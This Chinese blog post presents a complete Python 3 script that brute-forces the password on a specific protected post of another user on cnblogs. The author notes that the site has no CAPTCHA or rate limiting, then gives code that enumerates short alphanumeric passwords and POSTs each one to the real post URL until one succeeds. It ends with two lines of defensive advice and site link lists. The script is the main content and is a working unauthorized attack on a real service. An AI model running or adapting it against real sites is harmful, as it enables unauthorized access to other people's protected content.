python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
Python读取mp3中ID3信息的方法
Mar 05 Python
Python 由字符串函数名得到对应的函数(实例讲解)
Aug 10 Python
详解Python实现多进程异步事件驱动引擎
Aug 25 Python
Python爬虫番外篇之Cookie和Session详解
Dec 27 Python
Python企业编码生成系统总体系统设计概述
Jul 26 Python
Python 实例方法、类方法、静态方法的区别与作用
Aug 14 Python
用Python解数独的方法示例
Oct 24 Python
Windows系统下pycharm中的pip换源
Feb 23 Python
Django之富文本(获取内容,设置内容方式)
May 21 Python
keras 实现轻量级网络ShuffleNet教程
Jun 19 Python
PyTorch dropout设置训练和测试模式的实现
May 27 Python
Python中tqdm的使用和例子
Sep 23 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
PHP反射API示例分享
2016/10/08 PHP
Javascript调用XML制作连动下拉列表框
2006/06/25 Javascript
jQuery.autocomplete 支持中文输入(firefox)修正方法
2011/03/10 Javascript
Nodejs极简入门教程(二):定时器
2014/10/25 NodeJs
node.js中的fs.readdir方法使用说明
2014/12/17 Javascript
JavaScript如何实现对数字保留两位小数一位自动补零
2015/12/18 Javascript
JavaScript仿商城实现图片广告轮播实例代码
2016/02/06 Javascript
Bootstrap模态对话框的简单使用
2016/04/29 Javascript
js基础之DOM中document对象的常用属性方法详解
2016/10/28 Javascript
AngularJs入门教程之环境搭建+创建应用示例
2016/11/01 Javascript
ES6概念 ymbol.for()方法
2016/12/25 Javascript
JS实现快速比较两个字符串中包含有相同数字的方法
2017/09/11 Javascript
JavaScript之创意时钟项目(实例讲解)
2017/10/23 Javascript
JS中的BOM应用
2018/02/02 Javascript
JavaScript实现简单动态进度条效果
2018/04/06 Javascript
学习jQuery中的noConflict()用法
2018/09/28 jQuery
微信小程序左右滚动公告栏效果代码实例
2019/09/16 Javascript
微信小程序实现电子签名功能
2020/07/29 Javascript
js实现直播点击飘心效果
2020/08/19 Javascript
tensorflow实现简单的卷积神经网络
2018/05/24 Python
Python函数定义及传参方式详解(4种)
2019/03/18 Python
关于python字符串方法分类详解
2019/08/20 Python
python3 实现函数写文件路径的正确方法
2019/11/27 Python
30行Python代码实现高分辨率图像导航的方法
2020/05/22 Python
英国的知名精品百货公司:House of Fraser(福来德)
2016/08/14 全球购物
全球最大的瓷器、水晶和银器零售商:Replacements
2020/06/15 全球购物
Java中的类包括什么内容?设计时要注意哪些方面
2012/05/23 面试题
人力资源主管的岗位职责
2014/03/15 职场文书
经贸专业毕业生求职信范文
2014/05/01 职场文书
本科应届生自荐信
2014/06/29 职场文书
2014年党小组工作总结
2014/12/20 职场文书
2015年小学一年级班主任工作总结
2015/05/21 职场文书
辩论赛开场白大全(主持人+辩手)
2015/05/29 职场文书
火烧圆明园的观后感
2015/06/03 职场文书
记者节感言
2015/08/03 职场文书
win10电脑老是死机怎么办?win10系统老是死机的解决方法
2022/08/05 数码科技